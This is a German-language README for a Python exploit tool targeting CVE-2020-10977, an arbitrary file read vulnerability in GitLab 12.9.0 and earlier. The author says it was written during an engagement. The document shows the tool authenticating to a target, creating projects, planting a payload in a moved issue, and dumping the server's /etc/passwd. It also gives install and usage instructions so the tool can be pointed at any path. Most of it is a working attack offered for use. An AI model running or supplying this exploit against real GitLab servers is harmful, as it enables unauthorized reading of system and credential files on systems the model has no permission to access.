
GitLab 12.9.0 Beliebiges Lesen von Dateien
Ziel : 12.9.0 und darunter
Getestet : GitLab 12.8.1
Bei einem aktuellen Einsatz habe ich auf dem Ziel eine GitLab-Instanz gefunden. Ich habe einen PoC auf Exploit-DB gefunden, aber dieser verwendet LDAP zur Authentifizierung und LDAP war in diesem Fall deaktiviert. Deshalb habe ich dieses Python-Skript erstellt, das sich über die Web-GUI authentifizieren kann. Wie der ursprüngliche PoC erstellt es zwei Projekte, ein Issue in einem der Projekte mit der schädlichen Payload und verschiebt dieses Issue von einem Projekt in ein anderes und liest automatisch den Dateiinhalt aus.
Ich habe einige Dinge hinzugefügt: Das Skript fragt nach einem absoluten Pfad, den du lesen möchtest. Nachdem es dessen Inhalt ausgegeben hat, fragt es nach einem weiteren Pfad und räumt beim Beenden auf. Beide Projekte werden automatisch gelöscht, wenn du das Skript mit CTRL+C beendest.
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : http://localhost
[+] Username : twh
[+] Password : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd
> /etc/passwd
----------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!
pip3 install requests bs4
Registriere ein Konto auf der Ziel-GitLab-Instanz und verwende dieselben Anmeldedaten im Skript.
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password
positional arguments:
url Target URL with http(s)://
username GitLab Username
password GitLab Password
optional arguments:
-h, --help show this help message and exit
vakzz für das Auffinden dieses Bugs in GitLab
KouroshRZ für die Erstellung eines PoC für diesen Exploit